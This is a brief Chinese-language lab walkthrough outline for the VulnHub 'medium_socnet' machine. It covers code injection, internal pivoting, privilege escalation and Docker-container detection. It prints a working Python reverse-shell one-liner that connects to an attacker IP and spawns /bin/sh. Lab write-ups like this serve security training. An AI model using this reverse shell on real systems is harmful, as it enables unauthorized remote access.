medium_socnet靶场之代码注入、内网信息收集、内网穿透、Werkzeug协议、本地提权

靶机地址：
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
主机发现
端口扫描
服务发现
路径爬取
代码注入
Shell脚本
内网信息收集
内网穿透
漏洞利用
密码破解
本地提权
攻击代码修改

Werkzeug协议

基于python语言开发的底层框架

python 反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.92.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

注意：要用bin/sh，用bin/bash会出现无法回显的情况

dock环境发现

1、dockerfile 文件

2、根目录下查看是否有dockerenv文件，如果有就是docker容器

ls /.dockerenv

3、查看dockerhash值

cat /proc/1/cgroup